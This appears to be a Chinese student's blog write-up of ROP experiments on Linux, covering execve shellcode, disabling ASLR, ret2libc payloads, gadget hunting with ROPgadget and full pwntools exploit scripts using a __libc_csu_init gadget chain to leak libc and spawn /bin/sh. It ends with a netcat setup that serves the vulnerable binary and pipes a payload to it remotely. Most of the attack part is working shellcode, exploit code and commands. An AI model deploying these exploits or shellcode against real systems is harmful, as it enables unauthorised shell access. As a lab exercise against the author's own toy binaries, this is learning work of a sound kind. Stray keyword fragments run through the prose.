本篇博客記錄了我實驗ROP攻擊的全部內容,總體是先從簡單的Shellcode構造與注入,到克服堆棧保護與地址隨機化兩個問題的ROP攻擊,最後一部分是使用netcat進行的遠程bof攻擊模擬。html
shellcode 是一組指令opcode, 是能夠被程序運行,由於shellcode是要直接操做寄存器和函數,因此opcode 必須是十六進制的形式。python
Shellcode有幾點要求,首先是要調用系統函數獲取shell權限,其次是Shellcode裏面不能出現\x00
。linux
編寫Shellcode的具體步驟:git
execve()
函數調用的C程序,看一下其內部都是怎麼實現的。#include<stdlib.h> #include<unistd.h> char*buf[]={"/bin/sh",NULL}; void main() { execve("/bin/sh",buf,0); exit(0); }
編譯查看反彙編,同時定位到main和execve兩個函數處,能夠發現execve就至關於執行syscall而後調用0x3b調用號,能夠查到。0x3b就是execve的調用號
github
到了這一步就能夠開始編寫.asm文件了,由於64位的參數都是放在寄存器裏的,超過六個參數纔會壓棧,因此,咱們須要把"/bin/sh"放到rdx裏面去,以後將其地址壓入棧頂,隨後調用將0x3b調用號賦給rax寄存器,最後調用syscall就好了
shell
nasm -f elf64 Shellcode_64.asm
,ld -o Shellcode_64 Shellcode_64.o
#include<stdlib.h> #include<unistd.h> void main() { char ch[]="\x48\x31\xd2" "\x48\xbb\xff\x2f\x62\x69\x6e" "\x2f\x73\x68" "\x48\xc1\xeb\x08" "\x53" "\x48\x89\xe7" "\x48\x31\xc0" "\x50" "\x57" "\x48\x89\xe6" "\xb0\x3b" "\x0f\x05"; void (*fp)(void); fp=(void*)ch; fp(); }
須要注意的是,編譯這個時,要加上一句-z execstack
,即開啓堆棧可執行。編程
echo "0" > /proc/sys/kernel/randomize_va_space
,將randomize_va_space
設爲0,能夠經過more /proc/sys/kernel/randomize_va_space
來查看;execstack -s pwn20155213
將pwn20155213可執行文件設置爲堆棧可執行,其中能夠經過execstack -q pwn20155213
查看是否設置成功;input
16進制文件,以後經過輸入(cat input ;cat )|./pwn20155213
將input傳入執行中的pwn20155213中,這時打開另外一個終端,查找pwn20155213的運行進程,找到後,在gdb調試,裏輸入attach指令;查找foo返回地址,查看其中內容;/bin/sh
,system
的位置編寫進將要注入的payloadecho "0" > /proc/sys/kernel/randomize_va_space
,將randomize_va_space
設爲0,能夠經過more /proc/sys/kernel/randomize_va_space
來查看;execstack -c level
恢復level的堆棧保護;gdb ./level
以後,開始調試:
print system
查看system
在內存中的位置,如圖位置在0xf7e03c60
處輸入print __libc_start_main
查看__libc_start_main
的位置,同時根據__libc_start_main
的位置,找到/bin/sh
的位置
bash
輸入"1111111222222223333333344444444"並查看溢出位置,基本如任務二;
服務器
system
和/bin/sh
的位置,編寫payload,perl -e 'print "A"x28;print "\x60\x3c\xe0\xf7\xab\xac\xad\xae\x08\x28\xf4\xf7"'
pop rdi;ret
的位置pop rdi;ret
,/bin/sh
,system
的位置編寫進將要注入的payloadecho "0" > /proc/sys/kernel/randomize_va_space
,將randomize_va_space
設爲0,能夠經過more /proc/sys/kernel/randomize_va_space
來查看;execstack -c level
恢復level的堆棧保護;ROPgadget --binary pwn20155213 --only "pop|ret"|grep rdi
,若是查找不到須要的pop rdi;ret
則將pwn20155213
換成/lib/x86_64-linux-gnu/libc.so.6
pwn20155213
的內部地址及0x733
,這是相對地址,並非最後的運行起來的地址。pwn20155213
反彙編,瞭解到0x733
這個地址存在於__libc_csu_init
這段代碼裏,進而在gdb裏,查看這段代碼,獲得pop rdi;ret
的位置爲0x0000555555554733
,system
和/bin/sh
的位置(0x7ffff7a60510,0x7ffff7b9b3f3
)ROPgadget --binary pwn20155213 --only "pop|ret"|grep rdi
,這條語句就是用來查找可使用的gadgets,從而構造合適的ROP鏈進行攻擊。1.尋找gadget網絡
ROPEME: https://github.com/packz/ropeme
Ropper: https://github.com/sashs/Ropper
ROPgadget: https://github.com/JonathanSalwan/ROPgadget/tree/master
ROPgadget --binary 二進制文件 --only "pop|ret"|grep rdi
ROPgadget --binary 二進制文件 --only "pop|ret"|grep rdi
得到了可使用的gadget,而使用的gadget是__libc_csu_init
裏面的,這個函數是用來對libc進行初始化操做,而全部使用到libc.so的都會調用這個函數,因而就能夠經過這個特性構造一個通用的gadget2.使用pwntools工具在python環境下進行測試
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <dlfcn.h> void systemaddr() { void* handle = dlopen("libc.so.6", RTLD_LAZY); printf("%p\n",dlsym(handle,"system")); fflush(stdout); } void vulnerable_function() { char buf[128]; read(STDIN_FILENO, buf, 512); } int main(int argc, char** argv) { systemaddr(); write(1, "Hello, World\n", 13); vulnerable_function(); }
須要解釋一下systemaddr這個函數,這裏是爲了輸出system執行時的內存地址
#!/usr/bin/env python from pwn import * libc = ELF('libc.so.6') p = process('./pwn20155213') #p = remote('127.0.0.1',10001) binsh_addr_offset = next(libc.search('/bin/sh')) -libc.symbols['system'] print "binsh_addr_offset = " + hex(binsh_addr_offset) pop_ret_offset = 0x000000000002144f - libc.symbols['system']#0x000000000002144f是經過ROP查找出來的一個符合條件的gadget地址 print "pop_ret_offset = " + hex(pop_ret_offset) #pop_pop_call_offset = 0x00000000000f4739 - libc.symbols['system'] #print "pop_pop_call_offset = " + hex(pop_pop_call_offset) print "\n##########receiving system addr##########\n" system_addr_str = p.recvuntil('\n') system_addr = int(system_addr_str,16) print "system_addr = " + hex(system_addr) binsh_addr = system_addr + binsh_addr_offset print "binsh_addr = " + hex(binsh_addr) pop_ret_addr = system_addr + pop_ret_offset print "pop_ret_addr = " + hex(pop_ret_addr) #pop_pop_call_addr = system_addr + pop_pop_call_offset #print "pop_pop_call_addr = " + hex(pop_pop_call_addr) p.recv() payload = "\x00"*136 + p64(pop_ret_addr) + p64(binsh_addr) + p64(system_addr) #payload = "\x00"*136 + p64(pop_pop_call_addr) + p64(system_addr) + p64(binsh_addr) print "\n##########sending payload##########\n" p.send(payload) p.interactive()
運行截圖以下:
這裏有一個缺憾,就是C代碼須要輸出printf("%p\n",dlsym(handle,"system"));
,及system的運行時地址,爲了實現更符合日常狀況的,咱們須要找一個萬能的gadget,在尋找gadget那一段中已經敘述了相關萬能的gadget得從__libc_csu_init
裏面找。
3.放棄輔助函數的ROP攻擊
#!c #include <stdio.h> #include <stdlib.h> #include <unistd.h> void vulnerable_function() { char buf[128]; read(STDIN_FILENO, buf, 512); } int main(int argc, char** argv) { write(STDOUT_FILENO, "Hello, World\n", 13); vulnerable_function(); }
objdump -d ./pwn20155213
,看到裏面有個__libc_csu_init
函數,裏面就有咱們想要的東西payload1 = "\x00"*136 payload1 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(1) + p64(got_write) + p64(8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret payload1 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8] payload1 += "\x00"*56 payload1 += p64(main)
payload2 = "\x00"*136 payload2 += p64(0x400606) + p64(0) + p64(0) + p64(1) + p64(got_read) + p64(0) + p64(bss_addr) + p64(16) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret payload2 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8] payload2 += "\x00"*56 payload2 += p64(main)
payload3 = "\x00"*136 payload3 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(bss_addr) + p64(bss_addr+8) + p64(0) + p64(0) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret payload3 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8] payload3 += "\x00"*56
#!python #!/usr/bin/env python from pwn import * elf = ELF('level5') libc = ELF('libc.so.6') p = process('./level5') #p = remote('127.0.0.1',10001) got_write = elf.got['write'] print "got_write: " + hex(got_write) got_read = elf.got['read'] print "got_read: " + hex(got_read) main = 0x400564 off_system_addr = libc.symbols['write'] - libc.symbols['system'] print "off_system_addr: " + hex(off_system_addr) #rdi= edi = r13, rsi = r14, rdx = r15 #write(rdi=1, rsi=write.got, rdx=4) payload1 = "\x00"*136 payload1 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(1) + p64(got_write) + p64(8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret payload1 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8] payload1 += "\x00"*56 payload1 += p64(main) p.recvuntil("Hello, World\n") print "\n#############sending payload1#############\n" p.send(payload1) sleep(1) write_addr = u64(p.recv(8)) print "write_addr: " + hex(write_addr) system_addr = write_addr - off_system_addr print "system_addr: " + hex(system_addr) bss_addr=0x601028 p.recvuntil("Hello, World\n") #rdi= edi = r13, rsi = r14, rdx = r15 #read(rdi=0, rsi=bss_addr, rdx=16) payload2 = "\x00"*136 payload2 += p64(0x400606) + p64(0) + p64(0) + p64(1) + p64(got_read) + p64(0) + p64(bss_addr) + p64(16) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret payload2 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8] payload2 += "\x00"*56 payload2 += p64(main) print "\n#############sending payload2#############\n" p.send(payload2) sleep(1) p.send(p64(system_addr)) p.send("/bin/sh\0") sleep(1) p.recvuntil("Hello, World\n") #rdi= edi = r13, rsi = r14, rdx = r15 #system(rdi = bss_addr+8 = "/bin/sh") payload3 = "\x00"*136 payload3 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(bss_addr) + p64(bss_addr+8) + p64(0) + p64(0) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret payload3 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8] payload3 += "\x00"*56 payload3 += p64(main) print "\n#############sending payload3#############\n" sleep(1) p.send(payload3) p.interactive()
這裏不詳細介紹netcat程序的使用了,只說兩個,一個是正相鏈接,一個是反彈鏈接,咱們將會使用正向鏈接模逆服務器正在運行的程序,這也是ctf中pwn題的鏈接服務器方法。
1.關閉了地址隨機化的64位bof攻擊
nc -l -e pwn20155213 -p 5213
進行監聽Cygwin64 Terminal
端輸入(cat payload;cat)|nc 172.30.6.213 5213
2.開啓地址隨機化的64位bof攻擊
nc -l -e pwn20155213 -p 5213
進行監聽作的時間跨度有點大,前先後後一個半月,作的東西也都是別人作剩下的,沒什麼技術含量,也沒有實際價值,只是當個實驗消磨一下時間,鍛鍊一下